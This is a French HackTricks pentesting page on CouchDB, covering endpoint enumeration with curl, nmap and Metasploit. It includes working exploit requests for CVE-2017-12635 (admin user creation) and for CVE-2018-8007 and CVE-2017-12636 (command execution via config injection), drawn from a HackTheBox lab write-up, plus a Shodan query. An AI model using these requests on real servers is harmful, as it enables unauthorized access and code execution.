5984,6984 - Pentesting CouchDB
Reading time: 14 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
CouchDB est une base de donnĂ©es orientĂ©e document polyvalente et puissante qui organise les donnĂ©es en utilisant une structure de carte clĂ©-valeur au sein de chaque document. Les champs Ă l'intĂ©rieur du document peuvent ĂȘtre reprĂ©sentĂ©s sous forme de paires clĂ©/valeur, listes ou cartes, offrant une flexibilitĂ© dans le stockage et la rĂ©cupĂ©ration des donnĂ©es.
Chaque document stocké dans CouchDB se voit attribuer un identifiant unique (_id
) au niveau du document. De plus, chaque modification effectuée et enregistrée dans la base de données se voit attribuer un numéro de révision (_rev
). Ce numéro de révision permet un suivi et une gestion efficaces des changements, facilitant la récupération et la synchronisation des données au sein de la base de données.
Port par défaut : 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
ĂnumĂ©ration Automatique
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
ĂnumĂ©ration Manuelle
BanniĂšre
curl http://IP:5984/
Cela envoie une requĂȘte GET Ă l'instance CouchDB installĂ©e. La rĂ©ponse devrait ressembler Ă l'une des suivantes :
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
note
Notez que si vous accédez à la racine de couchdb et que vous recevez un 401 Unauthorized
avec quelque chose comme ceci : {"error":"unauthorized","reason":"Authentication required."}
vous ne pourrez pas accéder à la banniÚre ou à tout autre point de terminaison.
Info Enumeration
Ce sont les points de terminaison auxquels vous pouvez accéder avec une GET request et extraire des informations intéressantes. Vous pouvez trouver plus de points de terminaison et des descriptions plus détaillées dans la documentation de couchdb.
/_active_tasks
Liste des tĂąches en cours, y compris le type de tĂąche, le nom, le statut et l'ID de processus./_all_dbs
Renvoie une liste de toutes les bases de données dans l'instance CouchDB.- **
/_cluster_setup
**Renvoie le statut du nĆud ou du cluster, selon l'assistant de configuration du cluster. /_db_updates
Renvoie une liste de tous les événements de base de données dans l'instance CouchDB. L'existence de la base de données_global_changes
est requise pour utiliser ce point de terminaison./_membership
Affiche les nĆuds qui font partie du cluster en tant quecluster_nodes
. Le champall_nodes
affiche tous les nĆuds que ce nĆud connaĂźt, y compris ceux qui font partie du cluster./_scheduler/jobs
Liste des travaux de réplication. Chaque description de travail inclura des informations sur la source et la cible, l'ID de réplication, un historique des événements récents et quelques autres éléments./_scheduler/docs
Liste des Ă©tats des documents de rĂ©plication. Inclut des informations sur tous les documents, mĂȘme dans les Ă©tatscompleted
etfailed
. Pour chaque document, il renvoie l'ID du document, la base de données, l'ID de réplication, la source et la cible, et d'autres informations./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Le point de terminaison/_node/{node-name}
peut ĂȘtre utilisĂ© pour confirmer le nom du nĆud Erlang du serveur qui traite la demande. Cela est particuliĂšrement utile lors de l'accĂšs Ă/_node/_local
pour récupérer cette information./_node/{node-name}/_stats
La ressource_stats
renvoie un objet JSON contenant les statistiques pour le serveur en cours d'exécution. La chaßne littérale_local
sert d'alias pour le nom du nĆud local, donc pour toutes les URL de statistiques,{node-name}
peut ĂȘtre remplacĂ© par_local
, pour interagir avec les statistiques du nĆud local./_node/{node-name}/_system
La ressource _system renvoie un objet JSON contenant diverses statistiques au niveau du systÚme pour le serveur en cours d'exécution_._ Vous pouvez utiliser ___local
comme {node-name} pour obtenir des informations sur le nĆud actuel./_node/{node-name}/_restart
/_up
Confirme que le serveur est en marche, fonctionne et prĂȘt Ă rĂ©pondre aux demandes. Simaintenance_mode
esttrue
ounolb
, le point de terminaison renverra une réponse 404.- **
/_uuids
**Demande un ou plusieurs Identifiants Universellement Uniques (UUID) de l'instance CouchDB. - **
/_reshard
**Renvoie un compte des travaux terminĂ©s, Ă©chouĂ©s, en cours, arrĂȘtĂ©s et totaux ainsi que l'Ă©tat de la rĂ©partition sur le cluster.
Des informations plus intĂ©ressantes peuvent ĂȘtre extraites comme expliquĂ© ici : https://lzone.de/cheat-sheet/CouchDB
Database List
curl -X GET http://IP:5984/_all_dbs
Si cette requĂȘte rĂ©pond avec un 401 non autorisĂ©, alors vous avez besoin de identifiants valides pour accĂ©der Ă la base de donnĂ©es :
curl -X GET http://user:password@IP:5984/_all_dbs
Pour trouver des identifiants valides, vous pourriez essayer de bruteforcer le service.
Ceci est un exemple d'une réponse de couchdb lorsque vous avez suffisamment de privilÚges pour lister les bases de données (C'est juste une liste de bases de données) :
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Informations sur la base de données
Vous pouvez obtenir des informations sur la base de données (comme le nombre de fichiers et les tailles) en accédant au nom de la base de données :
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Liste des documents
Liste chaque entrée dans une base de données
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Lire le Document
Lire le contenu d'un document à l'intérieur d'une base de données :
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
Escalade de privilĂšges CouchDB CVE-2017-12635
Grùce aux différences entre les analyseurs JSON d'Erlang et de JavaScript, vous pourriez créer un utilisateur admin avec les identifiants hacktricks:hacktricks
avec la requĂȘte suivante :
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Plus d'informations sur cette vulnérabilité ici.
CouchDB RCE
Aperçu de la sécurité des cookies Erlang
Exemple d'ici.
Dans la documentation de CouchDB, en particulier dans la section concernant la configuration du cluster (lien), l'utilisation des ports par CouchDB en mode cluster est discutée. Il est mentionné que, comme en mode autonome, le port 5984
est utilisé. De plus, le port 5986
est destinĂ© aux API locales au nĆud, et il est important de noter qu'Erlang nĂ©cessite le port TCP 4369
pour le Daemon de mappage de port Erlang (EPMD), facilitant la communication entre les nĆuds au sein d'un cluster Erlang. Cette configuration forme un rĂ©seau oĂč chaque nĆud est interconnectĂ© avec tous les autres nĆuds.
Un avis de sécurité crucial est souligné concernant le port 4369
. Si ce port est rendu accessible sur Internet ou sur tout rĂ©seau non fiable, la sĂ©curitĂ© du systĂšme repose fortement sur un identifiant unique connu sous le nom de "cookie." Ce cookie agit comme une protection. Par exemple, dans une liste de processus donnĂ©e, le cookie nommĂ© "monster" pourrait ĂȘtre observĂ©, indiquant son rĂŽle opĂ©rationnel dans le cadre de sĂ©curitĂ© du systĂšme.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Pour ceux qui s'intĂ©ressent Ă comprendre comment ce "cookie" peut ĂȘtre exploitĂ© pour une ExĂ©cution de Code Ă Distance (RCE) dans le contexte des systĂšmes Erlang, une section dĂ©diĂ©e est disponible pour une lecture approfondie. Elle dĂ©taille les mĂ©thodologies pour tirer parti des cookies Erlang de maniĂšre non autorisĂ©e afin d'obtenir le contrĂŽle sur les systĂšmes. Vous pouvez explorer le guide dĂ©taillĂ© sur l'abus des cookies Erlang pour RCE ici.
Exploitation de CVE-2018-8007 par la modification de local.ini
Exemple d'ici.
Une vulnérabilité récemment divulguée, CVE-2018-8007, affectant Apache CouchDB a été explorée, révélant que l'exploitation nécessite des permissions d'écriture sur le fichier local.ini
. Bien que cela ne soit pas directement applicable au systÚme cible initial en raison de restrictions de sécurité, des modifications ont été apportées pour accorder l'accÚs en écriture au fichier local.ini
à des fins d'exploration. Des étapes détaillées et des exemples de code sont fournis ci-dessous, démontrant le processus.
Tout d'abord, l'environnement est préparé en s'assurant que le fichier local.ini
est modifiable, vérifié en listant les permissions :
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Pour exploiter la vulnérabilité, une commande curl est exécutée, ciblant la configuration cors/origins
dans local.ini
. Cela injecte une nouvelle origine ainsi que des commandes supplémentaires sous la section [os_daemons]
, visant à exécuter du code arbitraire :
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
La vérification ultérieure montre la configuration injectée dans local.ini
, la contrastant avec une sauvegarde pour mettre en Ă©vidence les changements :
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Initialement, le fichier attendu (/tmp/0xdf
) n'existe pas, ce qui indique que la commande injectĂ©e n'a pas encore Ă©tĂ© exĂ©cutĂ©e. Une enquĂȘte plus approfondie rĂ©vĂšle que des processus liĂ©s Ă CouchDB sont en cours d'exĂ©cution, y compris un qui pourrait potentiellement exĂ©cuter la commande injectĂ©e :
root@canape:/home/homer/bin# ps aux | grep couch
En terminant le processus CouchDB identifié et en permettant au systÚme de le redémarrer automatiquement, l'exécution de la commande injectée est déclenchée, confirmée par l'existence du fichier précédemment manquant :
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Cette exploration confirme la viabilité de l'exploitation de CVE-2018-8007 dans des conditions spécifiques, notamment la nécessité d'un accÚs en écriture au fichier local.ini
. Les exemples de code fournis et les étapes procédurales offrent un guide clair pour reproduire l'exploit dans un environnement contrÎlé.
Pour plus de détails sur CVE-2018-8007, consultez l'avis de mdsec : CVE-2018-8007.
Exploration de CVE-2017-12636 avec des autorisations d'Ă©criture sur local.ini
Exemple d'ici.
Une vulnĂ©rabilitĂ© connue sous le nom de CVE-2017-12636 a Ă©tĂ© explorĂ©e, permettant l'exĂ©cution de code via le processus CouchDB, bien que des configurations spĂ©cifiques puissent empĂȘcher son exploitation. MalgrĂ© de nombreuses rĂ©fĂ©rences de Proof of Concept (POC) disponibles en ligne, des ajustements sont nĂ©cessaires pour exploiter la vulnĂ©rabilitĂ© sur la version 2 de CouchDB, diffĂ©rente de la version 1.x couramment ciblĂ©e. Les Ă©tapes initiales consistent Ă vĂ©rifier la version de CouchDB et Ă confirmer l'absence du chemin des serveurs de requĂȘte attendu :
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Pour s'adapter à la version 2.0 de CouchDB, un nouveau chemin est utilisé :
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Les tentatives d'ajout et d'invocation d'un nouveau serveur de requĂȘtes ont Ă©tĂ© confrontĂ©es Ă des erreurs liĂ©es aux autorisations, comme l'indique la sortie suivante :
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Une enquĂȘte plus approfondie a rĂ©vĂ©lĂ© des problĂšmes de permission avec le fichier local.ini
, qui n'Ă©tait pas modifiable. En modifiant les permissions du fichier avec un accĂšs root ou homer, il est devenu possible de continuer :
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Les tentatives ultĂ©rieures d'ajouter le serveur de requĂȘtes ont rĂ©ussi, comme le dĂ©montre l'absence de messages d'erreur dans la rĂ©ponse. La modification rĂ©ussie du fichier local.ini
a été confirmée par la comparaison des fichiers :
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Le processus s'est poursuivi par la crĂ©ation d'une base de donnĂ©es et d'un document, suivi d'une tentative d'exĂ©cuter du code via une vue personnalisĂ©e mappĂ©e au serveur de requĂȘtes nouvellement ajoutĂ© :
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
Un résumé avec un payload alternatif fournit des informations supplémentaires sur l'exploitation de CVE-2017-12636 dans des conditions spécifiques. Ressources utiles pour exploiter cette vulnérabilité incluent :
Shodan
port:5984 couchdb
Références
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.